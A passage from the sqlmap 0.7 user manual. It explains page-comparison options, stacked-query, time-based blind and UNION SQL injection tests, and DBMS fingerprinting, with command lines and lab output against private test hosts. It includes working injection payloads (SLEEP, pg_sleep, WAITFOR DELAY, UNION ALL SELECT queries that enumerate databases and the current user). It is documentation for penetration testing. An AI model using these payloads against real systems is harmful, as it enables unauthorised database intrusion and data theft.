GET /sqlmap/mysql/get_int_refresh.php?id=1 HTTP/1.1
Host: 192.168.1.121:80
User-agent: sqlmap/0.7 (http://sqlmap.sourceforge.net)
Connection: close

[hh:mm:50] [TRAFFIC IN] HTTP response (OK - 200):
Date: Fri, 25 Jul 2008 14:29:50 GMT
Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.2 with Suhosin-Patch mod_ssl/2.2.8 
OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
X-Powered-By: PHP/5.2.4-2ubuntu5.2
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html

&lt;html&gt;&lt;body&gt;
&lt;b&gt;SQL results:&lt;/b&gt;
&lt;table border="1"&gt;
&lt;tr&gt;&lt;td&gt;1&lt;/td&gt;&lt;td&gt;luther&lt;/td&gt;&lt;td&gt;blissett&lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;
&lt;/body&gt;&lt;/html&gt;&lt;p&gt;Dynamic content: 1216996190&lt;/p&gt;

[hh:mm:51] [TRAFFIC OUT] HTTP request:
GET /sqlmap/mysql/get_int_refresh.php?id=1 HTTP/1.1
Host: 192.168.1.121:80
User-agent: sqlmap/0.7 (http://sqlmap.sourceforge.net)
Connection: close

[hh:mm:51] [TRAFFIC IN] HTTP response (OK - 200):
Date: Fri, 25 Jul 2008 14:29:51 GMT
Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.2 with Suhosin-Patch mod_ssl/2.2.8 
OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
X-Powered-By: PHP/5.2.4-2ubuntu5.2
Content-Length: 161
Connection: close
Content-Type: text/html

&lt;html&gt;&lt;body&gt;
&lt;b&gt;SQL results:&lt;/b&gt;
&lt;table border="1"&gt;
&lt;tr&gt;&lt;td&gt;1&lt;/td&gt;&lt;td&gt;luther&lt;/td&gt;&lt;td&gt;blissett&lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;
&lt;/body&gt;&lt;/html&gt;&lt;p&gt;Dynamic content: 1216996191&lt;/p&gt;

[hh:mm:51] [TRAFFIC OUT] HTTP request:
GET /sqlmap/mysql/get_int_refresh.php?id=1 HTTP/1.1
Host: 192.168.1.121:80
User-agent: sqlmap/0.7 (http://sqlmap.sourceforge.net)
Connection: close

[hh:mm:51] [TRAFFIC IN] HTTP response (OK - 200):
Date: Fri, 25 Jul 2008 14:29:51 GMT
Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.2 with Suhosin-Patch mod_ssl/2.2.8 
OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
X-Powered-By: PHP/5.2.4-2ubuntu5.2
Content-Length: 161
Connection: close
Content-Type: text/html

&lt;html&gt;&lt;body&gt;
&lt;b&gt;SQL results:&lt;/b&gt;
&lt;table border="1"&gt;
&lt;tr&gt;&lt;td&gt;1&lt;/td&gt;&lt;td&gt;luther&lt;/td&gt;&lt;td&gt;blissett&lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;
&lt;/body&gt;&lt;/html&gt;&lt;p&gt;Dynamic content: 1216996191&lt;/p&gt;

[hh:mm:51] [ERROR] url is not stable, try with --string or --regexp options, refer to 
the user's manual paragraph 'Page comparison' for details
</verb></tscreen>

<p>
As you can see, the string after <tt>Dynamic content</tt> changes its
value every second. In the example it is just a call to PHP
<tt>time()</tt> function, but on the real world it is usually much more
than that.

<p>
Looking at the HTTP responses page content you can see that the first five
lines of code do not change at all.
So choosing for instance the word <tt>luther</tt> as an output that is
on the not injected page content and it is not on the False page content
(because the query condition returns no output so <tt>luther</tt> is not
displayed on the page content) and passing it to sqlmap, you are able to
inject anyway.

Example on a <bf>MySQL 5.0.67</bf> target on a page which content changes
every second due to a call to PHP function <tt>time()</tt>:

<tscreen><verb>
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int_refresh.php?id=1" \
  --string "luther" -v 1

[hh:mm:22] [INFO] testing connection to the target url
[hh:mm:22] [INFO] testing if the provided string is within the target URL page content
[hh:mm:22] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic
[hh:mm:22] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
[hh:mm:22] [INFO] testing if GET parameter 'id' is dynamic
[hh:mm:22] [INFO] confirming that GET parameter 'id' is dynamic
[hh:mm:22] [INFO] GET parameter 'id' is dynamic
[hh:mm:22] [INFO] testing sql injection on GET parameter 'id'
[hh:mm:22] [INFO] testing numeric/unescaped injection on GET parameter 'id'
[hh:mm:22] [INFO] confirming numeric/unescaped injection on GET parameter 'id'
[hh:mm:22] [INFO] GET parameter 'id' is numeric/unescaped injectable
[hh:mm:22] [INFO] testing for parenthesis on injectable parameter
[hh:mm:22] [INFO] the injectable parameter requires 0 parenthesis
[...]
</verb></tscreen>

<p>
You can also specify a regular expression to match rather than a string if
you prefer.

Example on a <bf>MySQL 5.0.67</bf> target on a page which content changes
every second due to a call to PHP function <tt>time()</tt>:

<tscreen><verb>
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int_refresh.php?id=1" \
  --regexp "<td>lu[\w][\w]er" -v 1

[hh:mm:22] [INFO] testing connection to the target url
[hh:mm:22] [INFO] testing if the provided regular expression matches within the target 
URL page content
[hh:mm:22] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic
[hh:mm:22] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
[hh:mm:22] [INFO] testing if GET parameter 'id' is dynamic
[hh:mm:22] [INFO] confirming that GET parameter 'id' is dynamic
[hh:mm:22] [INFO] GET parameter 'id' is dynamic
[hh:mm:22] [INFO] testing sql injection on GET parameter 'id'
[hh:mm:22] [INFO] testing numeric/unescaped injection on GET parameter 'id'
[hh:mm:22] [INFO] confirming numeric/unescaped injection on GET parameter 'id'
[hh:mm:22] [INFO] GET parameter 'id' is numeric/unescaped injectable
[hh:mm:22] [INFO] testing for parenthesis on injectable parameter
[hh:mm:22] [INFO] the injectable parameter requires 0 parenthesis
[...]
</verb></tscreen>

<p>
As you can see, when one of these options is specified, sqlmap skips the
URL stability test.

<p>
<bf>Consider one of these options a must when you are dealing with a page
which content that changes itself at each refresh without modifying the
user's input</bf>.


<sect2>Exclude specific page content

<p>
Options: <tt>--excl-str</tt> and <tt>--excl-reg</tt>

<p>
Another way to get around the dynamicity issue above explained is to exclude
the dynamic part from the page content before processing it.

<p>
As you see in the above example the number after <tt>Dynamic content: </tt>
was dynamic and changed each second. To get around of this problem we could
use the above explained page comparison options or exclude this snippet of
dynamic text from the page before processing it and comparing it with the
not injected page.

<tscreen><verb>
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int_refresh.php?id=1" \
  --excl-reg "Dynamic content: ([\d]+)"

[hh:mm:22] [INFO] testing connection to the target url
[hh:mm:22] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic
[hh:mm:22] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
[hh:mm:22] [INFO] testing if GET parameter 'id' is dynamic
[hh:mm:22] [INFO] confirming that GET parameter 'id' is dynamic
[hh:mm:22] [INFO] GET parameter 'id' is dynamic
[hh:mm:22] [INFO] testing sql injection on GET parameter 'id'
[hh:mm:22] [INFO] testing numeric/unescaped injection on GET parameter 'id'
[hh:mm:22] [INFO] confirming numeric/unescaped injection on GET parameter 'id'
[hh:mm:22] [INFO] GET parameter 'id' is numeric/unescaped injectable
[hh:mm:22] [INFO] testing for parenthesis on injectable parameter
[hh:mm:22] [INFO] the injectable parameter requires 0 parenthesis
[...]
</verb></tscreen>

<p>
As you can see, when this options is specified, sqlmap skips the URL
stability test.


<sect1>Techniques

<sect2>Test for stacked queries (multiple statements) support

<p>
Option: <tt>--stacked-test</tt>

<p>
It is possible to test if the web application technology supports
<bf>stacked queries</bf>, multiple statements, on the injectable
parameter.

<p>
Example on a <bf>MySQL 5.0.67</bf> target:

<tscreen><verb>
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" \
  --stacked-test -v 1

[...]
back-end DBMS: MySQL >= 5.0.0

[hh:mm:15] [INFO] testing stacked queries support on parameter 'id'
[hh:mm:15] [WARNING] the web application does not support stacked queries on parameter 'id'
stacked queries support:	None
</verb></tscreen>

<p>
By default PHP builtin function <tt>mysql_query()</tt> does not support
multiple statements.
Multiple statements is a feature supported by default only by some
web application technologies in relation to the back-end database
management system. For instance, as you can see from the next example,
where PHP does not support them on MySQL, it does on PostgreSQL.

<p>
Example on a <bf>PostgreSQL 8.3.5</bf> target:

<tscreen><verb>
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" \
  --stacked-test -v 1

[...]
back-end DBMS: PostgreSQL

[hh:mm:01] [INFO] testing stacked queries support on parameter 'id'
[hh:mm:06] [INFO] the web application supports stacked queries on parameter 'id'
stacked queries support:    'id=1; SELECT pg_sleep(5);-- AND 3128=3128'
</verb></tscreen>

<p>
Example on a <bf>Microsoft SQL Server 2005 Service Pack 0</bf> target:

<tscreen><verb>
$ python sqlmap.py -u "http://192.168.123.36/sqlmap/get_str.asp?name=luther" \
  --stacked-test -v 1

[...]
back-end DBMS: Microsoft SQL Server 2005

[hh:mm:09] [INFO] testing stacked queries support on parameter 'name'
[hh:mm:23] [INFO] the web application supports stacked queries on parameter 'name'
stacked queries support:    'name=luther'; WAITFOR DELAY '0:0:5';-- AND 'wRcBC'='wRcBC'
</verb></tscreen>


<sect2>Test for time based blind SQL injection

<p>
Options: <tt>--time-test</tt> and <tt>--time-sec</tt>

<p>
It is possible to test if the target URL is affected by a <bf>time based
blind SQL injection</bf> vulnerability.

<p>
Example on a <bf>MySQL 5.0.67</bf> target:

<tscreen><verb>
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" \
  --time-test -v 1

[...]
back-end DBMS: MySQL >= 5.0.0

[hh:mm:05] [INFO] testing time based blind sql injection on parameter 'id' with AND 
condition syntax
[hh:mm:10] [INFO] the parameter 'id' is affected by a time based blind sql injection 
with AND condition syntax
time based blind sql injection payload:    'id=1 AND SLEEP(5) AND 5249=5249'
</verb></tscreen>

<p>
Example on a <bf>PostgreSQL 8.3.5</bf> target:

<tscreen><verb>
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" \
  --time-test -v 1

[...]
back-end DBMS: PostgreSQL

[hh:mm:30] [INFO] testing time based blind sql injection on parameter 'id' with AND 
condition syntax
[hh:mm:30] [WARNING] the parameter 'id' is not affected by a time based blind sql 
injection with AND condition syntax
[hh:mm:30] [INFO] testing time based blind sql injection on parameter 'id' with stacked 
query syntax
[hh:mm:35] [INFO] the parameter 'id' is affected by a time based blind sql injection 
with stacked query syntax
time based blind sql injection payload:    'id=1; SELECT pg_sleep(5);-- AND 9644=9644'
</verb></tscreen>

<p>
Example on a <bf>Microsoft SQL Server 2005 Service Pack 0</bf> target:

<tscreen><verb>
$ python sqlmap.py -u "http://192.168.123.36/sqlmap/get_str.asp?name=luther" \
  --time-test -v 1

[...]
back-end DBMS: Microsoft SQL Server 2005

[hh:mm:59] [INFO] testing time based blind sql injection on parameter 'name' with AND 
condition syntax
[hh:mm:59] [WARNING] the parameter 'name' is not affected by a time based blind sql 
injection with AND condition syntax
[hh:mm:59] [INFO] testing time based blind sql injection on parameter 'name' with stacked 
query syntax
[hh:mm:13] [INFO] the parameter 'name' is affected by a time based blind sql injection with 
stacked query syntax
time based blind sql injection payload:    'name=luther'; WAITFOR DELAY '0:0:5';-- AND 
'PmrXn'='PmrXn'
</verb></tscreen>

<p>
It is also possible to set the seconds to delay the response by providing
the <tt>--time-sec</tt> option followed by an integer. By default it delays
five seconds.


<sect2>Test for UNION query SQL injection

<p>
Options: <tt>--union-test</tt> and <tt>--union-tech</tt>

<p>
It is possible to test if the target URL is affected by a <bf>UNION query
(inband) SQL injection</bf> vulnerability.
Refer to the <em>Techniques</em> section for details on this SQL injection
technique.

<p>
Example on an <bf>Oracle XE 10.2.0.1</bf> target:

<tscreen><verb>
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1" \
  --union-test -v 1

[...]
back-end DBMS:  Oracle

[hh:mm:27] [INFO] testing inband sql injection on parameter 'id' with NULL bruteforcing 
technique
[hh:mm:27] [INFO] the target url could be affected by an inband sql injection vulnerability
valid union:    'http://192.168.1.121:80/sqlmap/oracle/get_int.php?id=1 UNION ALL SELECT 
NULL, NULL, NULL FROM DUAL-- AND 6558=6558'
</verb></tscreen>

<p>
By default sqlmap uses the <bf><tt>NULL</tt> bruteforcing</bf> technique to
detect the number of columns within the original <tt>SELECT</tt> statement.
It is also possible to change it to <bf><tt>ORDER BY</tt> clause
bruteforcing</bf> with the <tt>--union-tech</tt> option.

<p>
Further details on these techniques can be found <htmlurl
url="http://bernardodamele.blogspot.com/2007/07/insight-on-union-query-sql-injection.html" name="here">.

<p>
Example on a <bf>PostgreSQL 8.3.5</bf> target:

<tscreen><verb>
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_str.php?id=1" \
  --union-test --union-tech orderby -v 1

[...]
back-end DBMS: PostgreSQL

[hh:mm:51] [INFO] testing inband sql injection on parameter 'id' with ORDER BY clause 
bruteforcing technique
[hh:mm:51] [INFO] the target url could be affected by an inband sql injection vulnerability
valid union:    'http://192.168.1.150:80/sqlmap/pgsql/get_int.php?id=1 ORDER BY 3-- AND 
1262=1262'
</verb></tscreen>

<p>
As you can see, the target URL parameter <tt>id</tt> might be also
exploitable by the inband SQL injection technique.
In case a case it is strongly recommended to use this technique which saves
a lot of time.

<p>
It is strongly recommended to run at least once sqlmap with the
<tt>--union-test</tt> option to test if the affected parameter is used
within a <tt>for</tt> cycle, or similar, and in case use
<tt>--union-use</tt> option to exploit this vulnerability because it
saves a lot of time and it does not weight down the web server log file
with hundreds of HTTP requests.


<sect2>Use the UNION query SQL injection

<p>
Option: <tt>--union-use</tt>

<p>
Providing the <tt>--union-use</tt> parameter, sqlmap will first test if
the target URL is affected by an <bf>inband SQL injection</bf>
(<tt>--union-test</tt>) vulnerability then, in case it seems to be
vulnerable, it will confirm that the parameter is affected by a <bf>Full
UNION query SQL injection</bf> and use this technique to go ahead with the
exploiting.
If the confirmation fails, it will check if the parameter is affected by
a <bf>Partial UNION query SQL injection</bf>, then use it to go ahead if it
is vulnerable.
In case the inband SQL injection vulnerability is not exploitable, sqlmap
will automatically fallback on the blind SQL injection technique to go
ahead.

<p>
Example on a <bf>Microsoft SQL Server 2000 Service Pack 0</bf> target:

<tscreen><verb>
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" -v 1 \
  --union-use --banner

[...]
back-end DBMS:	Microsoft SQL Server 2000

[hh:mm:42] [INFO] fetching banner
[hh:mm:42] [INFO] testing inband sql injection on parameter 'id' with NULL bruteforcing 
technique
[hh:mm:42] [INFO] the target url could be affected by an inband sql injection vulnerability
[hh:mm:42] [INFO] confirming full inband sql injection on parameter 'id'
[hh:mm:42] [INFO] the target url is affected by an exploitable full inband sql injection 
vulnerability
[hh:mm:42] [INFO] query:  UNION ALL SELECT NULL, (CHAR(110)+CHAR(83)+CHAR(68)+CHAR(80)+
CHAR(84)+CHAR(70))+ISNULL(CAST(@@VERSION AS VARCHAR(8000)), (CHAR(32)))+(CHAR(70)+CHAR(82)+
CHAR(100)+CHAR(106)+CHAR(72)+CHAR(75)), NULL-- AND 5204=5204
[hh:mm:42] [INFO] performed 3 queries in 0 seconds
banner:
---
Microsoft SQL Server  2000 - 8.00.194 (Intel X86) 
	Aug  6 2000 00:57:48 
	Copyright (c) 1988-2000 Microsoft Corporation
	Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4)
---
</verb></tscreen>

<p>
As you can see, the vulnerable parameter (<tt>id</tt>) is affected by both
blind SQL injection and exploitable full inband SQL injection
vulnerabilities.

<p>
Example on a <bf>MySQL 5.0.67</bf> target:

<tscreen><verb>
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" -v 5 \
  --union-use --current-user

[...]
[hh:mm:29] [INFO] the target url is affected by an exploitable full inband sql 
injection vulnerability
[hh:mm:29] [INFO] query:  UNION ALL SELECT NULL, CONCAT(CHAR(112,110,121,77,88,86),
IFNULL(CAST(CURRENT_USER() AS CHAR(10000)), CHAR(32)),CHAR(72,89,75,77,121,103)), 
NULL# AND 8032=8032
[hh:mm:29] [TRAFFIC OUT] HTTP request:
GET /sqlmap/mysql/get_int.php?id=1%20UNION%20ALL%20SELECT%20NULL%2C%20CONCAT%28CHAR%28112
%2C110%2C121%2C77%2C88%2C86%29%2CIFNULL%28CAST%28CURRENT_USER%28%29%20AS%20CHAR%2810000%29
%29%2C%20CHAR%2832%29%29%2CCHAR%2872%2C89%2C75%2C77%2C121%2C103%29%29%2C%20NULL%23%20AND
%208032=8032 HTTP/1.1
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Host: 192.168.1.121:80
Accept-language: en-us,en;q=0.5
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
image/png,*/*;q=0.5
User-agent: sqlmap/0.7 (http://sqlmap.sourceforge.net)
Connection: close

[hh:mm:29] [TRAFFIC IN] HTTP response (OK - 200):
Date: Tue, 16 Dec 2008 hh:mm:29 GMT
Server: Apache/2.2.9 (Ubuntu) PHP/5.2.6-2ubuntu4 with Suhosin-Patch mod_ssl/2.2.9 
OpenSSL/0.9.8g mod_perl/2.0.4 Perl/v5.10.0
X-Powered-By: PHP/5.2.6-2ubuntu4
Content-Length: 194
Connection: close
Content-Type: text/html

&lt;html&gt;&lt;body&gt;
&lt;b&gt;SQL results:&lt;/b&gt;
&lt;table border="1"&gt;
&lt;tr&gt;&lt;td&gt;1&lt;/td&gt;&lt;td&gt;luther&lt;/td&gt;&lt;td&gt;blissett&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;pnyMXVtestuser@localhostHYKMyg&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;
&lt;/body&gt;&lt;/html&gt;

[hh:mm:29] [INFO] performed 3 queries in 0 seconds
current user:    'testuser@localhost'
</verb></tscreen>

<p>
As you can see, the MySQL <tt>CURRENT_USER()</tt> function (--current-user)
output is nested, inband, within the HTTP response page, this makes the
inband SQL injection exploited.

<p>
In case the inband SQL injection is not fully exploitable, sqlmap will
check if it is partially exploitable: this occurs if the query output
is not parsed within a <tt>for</tt>, or similar, cycle but only the first
entry is displayed in the page content.

<p>
Example on a <bf>MySQL 5.0.67</bf> target:

<tscreen><verb>
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int_partialunion.php?id=1" -v 1 \
  --union-use --dbs

[...]
back-end DBMS: MySQL >= 5.0.0

[hh:mm:56] [INFO] fetching database names
[hh:mm:56] [INFO] testing inband sql injection on parameter 'id' with NULL bruteforcing 
technique
[hh:mm:56] [INFO] the target url could be affected by an inband sql injection vulnerability
[hh:mm:56] [INFO] confirming full inband sql injection on parameter 'id'
[hh:mm:56] [WARNING] the target url is not affected by an exploitable full inband sql 
injection vulnerability
[hh:mm:56] [INFO] confirming partial inband sql injection on parameter 'id'
[hh:mm:56] [INFO] the target url is affected by an exploitable partial inband sql injection 
vulnerability
[hh:mm:56] [INFO] query:  UNION ALL SELECT NULL, CONCAT(CHAR(90,121,78,99,122,76),
IFNULL(CAST(COUNT(schema_name) AS CHAR(10000)), CHAR(32)),CHAR(110,97,105,116,84,120)), NULL 
FROM information_schema.SCHEMATA# AND 1062=1062
[hh:mm:56] [INFO] performed 6 queries in 0 seconds
[hh:mm:56] [INFO] the SQL query provided returns 4 entries
[hh:mm:56] [INFO] query:  UNION ALL SELECT NULL, CONCAT(CHAR(90,121,78,99,122,76),IFNULL(
CAST(schema_name AS CHAR(10000)), CHAR(32)),CHAR(110,97,105,116,84,120)), NULL FROM 
information_schema.SCHEMATA LIMIT 0, 1# AND 1421=1421
[hh:mm:56] [INFO] performed 7 queries in 0 seconds
[hh:mm:56] [INFO] query:  UNION ALL SELECT NULL, CONCAT(CHAR(90,121,78,99,122,76),IFNULL(
CAST(schema_name AS CHAR(10000)), CHAR(32)),CHAR(110,97,105,116,84,120)), NULL FROM 
information_schema.SCHEMATA LIMIT 1, 1# AND 9553=9553
[hh:mm:56] [INFO] performed 8 queries in 0 seconds
[hh:mm:56] [INFO] query:  UNION ALL SELECT NULL, CONCAT(CHAR(90,121,78,99,122,76),IFNULL(
CAST(schema_name AS CHAR(10000)), CHAR(32)),CHAR(110,97,105,116,84,120)), NULL FROM 
information_schema.SCHEMATA LIMIT 2, 1# AND 6805=6805
[hh:mm:56] [INFO] performed 9 queries in 0 seconds
[hh:mm:56] [INFO] query:  UNION ALL SELECT NULL, CONCAT(CHAR(90,121,78,99,122,76),IFNULL(
CAST(schema_name AS CHAR(10000)), CHAR(32)),CHAR(110,97,105,116,84,120)), NULL FROM 
information_schema.SCHEMATA LIMIT 3, 1# AND 739=739
[hh:mm:56] [INFO] performed 10 queries in 0 seconds
available databases [4]:
[*] information_schema
[*] mysql
[*] privatedb
[*] test
</verb></tscreen>

<p>
As you can see, sqlmap identified that the parameter is affected by a
partial inband SQL injection, consequently counted the number of query
output entries and retrieved once per time by forcing the parameter
(<tt>id</tt>) value <tt>1</tt> to its negative value <tt>-1</tt> so that
it does not returns, presumibly, any output leaving our own <tt>UNION ALL
SELECT</tt> statement to produce one entry at a time and display it in the
page content.


<sect1>Fingerprint

<sect2>Extensive database management system fingerprint

<p>
Options: <tt>-f</tt> or <tt>--fingerprint</tt>

<p>
By default the web application's back-end database management system
fingerprint is performed requesting a database specific function which
returns a known static value. By comparing these value with the returned
value it is possible to identify if the back-end database is effectively
the one that sqlmap expected. Depending on the DBMS being tested, a
SQL dialect syntax which is syntatically correct depending upon the
back-end DBMS is also tested.

After identifying an injectable vector, sqlmap fingerprints the back-end
database management system and go ahead with the injection with its
specific syntax within the limits of the database architecture.

<p>
Example on a <bf>MySQL 5.0.67</bf> target:

<tscreen><verb>
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" -v 1

[...]
[hh:mm:17] [INFO] testing MySQL
[hh:mm:17] [INFO] confirming MySQL
[hh:mm:17] [INFO] query: SELECT 5 FROM information_schema.TABLES LIMIT 0, 1
[hh:mm:17] [INFO] retrieved: 5
[hh:mm:17] [INFO] performed 13 queries in 0 seconds
[hh:mm:17] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: MySQL >= 5.0.0
</verb></tscreen>

<p>
As you can see, sqlmap automatically fingerprints the web server operating
system and the web application technology by parsing some HTTP response headers.

<p>
If you want to perform an extensive database management system fingerprint
based on various techniques like specific SQL dialects and inband error
messages, you can  provide the <tt>--fingerprint</tt> option.

<p>
Example on a <bf>MySQL 5.0.67</bf> target:

<tscreen><verb>
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" -v 1 -f

[...]
[hh:mm:49] [INFO] testing MySQL
[hh:mm:49] [INFO] confirming MySQL
[hh:mm:49] [INFO] query: SELECT 3 FROM information_schema.TABLES LIMIT 0, 1
[hh:mm:49] [INFO] retrieved: 3
[hh:mm:49] [INFO] performed 13 queries in 0 seconds
[hh:mm:49] [INFO] the back-end DBMS is MySQL
[hh:mm:49] [INFO] query: SELECT 3 FROM information_schema.PARAMETERS LIMIT 0, 1
[hh:mm:49] [INFO] retrieved: 
[hh:mm:49] [INFO] performed 6 queries in 0 seconds
[hh:mm:49] [INFO] query: MID(@@table_open_cache, 1, 1)
[hh:mm:49] [INFO] retrieved: 
[hh:mm:49] [INFO] performed 6 queries in 0 seconds
[hh:mm:49] [INFO] query: MID(@@hostname, 1, 1)
[hh:mm:49] [INFO] retrieved: t
[hh:mm:49] [INFO] performed 13 queries in 0 seconds
[hh:mm:49] [INFO] executing MySQL comment injection fingerprint
web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: active fingerprint: MySQL >= 5.0.38 and < 5.1.2
               comment injection fingerprint: MySQL 5.0.67
               html error message fingerprint: MySQL
</verb></tscreen>

<p>
Example on an <bf>Oracle XE 10.2.0.1</bf> target:

<tscreen><verb>
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1" -v 1 -f

[...]
[hh:mm:38] [WARNING] the back-end DMBS is not MySQL
[hh:mm:38] [INFO] testing Oracle
[hh:mm:38] [INFO] confirming Oracle
[hh:mm:38] [INFO] the back-end DBMS is Oracle
[hh:mm:38] [INFO] query: SELECT SUBSTR((VERSION), 1, 2) FROM SYS.PRODUCT_COMPONENT_VERSION 
WHERE ROWNUM=1
[hh:mm:38] [INFO] retrieved: 10
[hh:mm:38] [INFO] performed 20 queries in 0 seconds
web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: active fingerprint: Oracle 10g
               html error message fingerprint: Oracle
</verb></tscreen>

<p>
Example on a <bf>PostgreSQL 8.3.5</bf> target:

<tscreen><verb>
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" -v 1 -f

[...]
[hh:mm:14] [WARNING] the back-end DMBS is not Oracle
[hh:mm:14] [INFO] testing PostgreSQL
[hh:mm:14] [INFO] confirming PostgreSQL
[hh:mm:14] [INFO] the back-end DBMS is PostgreSQL
[hh:mm:14] [INFO] query: SUBSTR(TRANSACTION_TIMESTAMP()::text, 1, 1)
[hh:mm:14] [INFO] retrieved: 2
[hh:mm:14] [INFO] performed 13 queries in 0 seconds
[hh:mm:14] [INFO] query: SUBSTR(TRANSACTION_TIMESTAMP(), 1, 1)
[hh:mm:14] [INFO] retrieved: 
[hh:mm:14] [INFO] performed 6 queries in 0 seconds
web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: active fingerprint: PostgreSQL >= 8.3.0
               html error message fingerprint: PostgreSQL
</verb></tscreen>

<p>
As you can see from this last example, sqlmap first tested for MySQL,
then for Oracle, then for PostgreSQL since the user did not forced the
back-end database management system name with option <tt>--dbms</tt>.

<p>
Example on a <bf>Microsoft SQL Server 2000 Service Pack 0</bf> target:

<tscreen><verb>
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" -v 1 -f

[...]
[hh:mm:41] [WARNING] the back-end DMBS is not PostgreSQL
[hh:mm:41] [INFO] testing Microsoft SQL Server
[hh:mm:41] [INFO] confirming Microsoft SQL Server
[hh:mm:41] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS:	active fingerprint: Microsoft SQL Server 2000
                html error message fingerprint: Microsoft SQL Server
</verb></tscreen>

<p>
Example on a <bf>Microsoft SQL Server 2005 Service Pack 0</bf> target:

<tscreen><verb>
$ python sqlmap.py -u "http://192.168.123.36/sqlmap/get_str.asp?name=luther" -v 1 -f

[...]
[hh:mm:41] [WARNING] the back-end DMBS is not PostgreSQL
[hh:mm:41] [INFO] testing Microsoft SQL Server
[hh:mm:41] [INFO] confirming Microsoft SQL Server
[hh:mm:41] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003 or 2000
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: active fingerprint: Microsoft SQL Server 2005
               html error message fingerprint: Microsoft SQL Server
</verb></tscreen>

<p>
If you want an even more accurate result, based also on banner parsing,
you can also provide the <tt>-b</tt> or <tt>--banner</tt> option.

<p>
Example on a <bf>MySQL 5.0.67</bf> target:

<tscreen><verb>
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" -v 1 -f -b

[...]
[hh:mm:04] [INFO] testing MySQL
[hh:mm:04] [INFO] confirming MySQL
[hh:mm:04] [INFO] query: SELECT 0 FROM information_schema.TABLES LIMIT 0, 1
[hh:mm:04] [INFO] retrieved: 0
[hh:mm:04] [INFO] performed 13 queries in 0 seconds
[hh:mm:04] [INFO] the back-end DBMS is MySQL
[hh:mm:04] [INFO] query: VERSION()
[hh:mm:04] [INFO] retrieved: 5.0.67-0ubuntu6
[hh:mm:05] [INFO] performed 111 queries in 1 seconds
[hh:mm:05] [INFO] query: SELECT 0 FROM information_schema.PARAMETERS LIMIT 0, 1
[hh:mm:05] [INFO] retrieved: 
[hh:mm:05] [INFO] performed 6 queries in 0 seconds
[hh:mm:05] [INFO] query: MID(@@table_open_cache, 1, 1)
[hh:mm:05] [INFO] retrieved: 
[hh:mm:05] [INFO] performed 6 queries in 0 seconds
[hh:mm:05] [INFO] query: MID(@@hostname, 1, 1)
[hh:mm:05] [INFO] retrieved: t
[hh:mm:06] [INFO] performed 13 queries in 0 seconds
[hh:mm:06] [INFO] executing MySQL comment injection fingerprint
web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
back-end DBMS: active fingerprint: MySQL >= 5.0.38 and < 5.1.2
               comment injection fingerprint: MySQL 5.0.67
               banner parsing fingerprint: MySQL 5.0.67
               html error message fingerprint: MySQL
[...]
</verb></tscreen>

<p>
As you can see, sqlmap was able to fingerprint also the back-end DBMS
operating system by parsing the DBMS banner value.

<p>
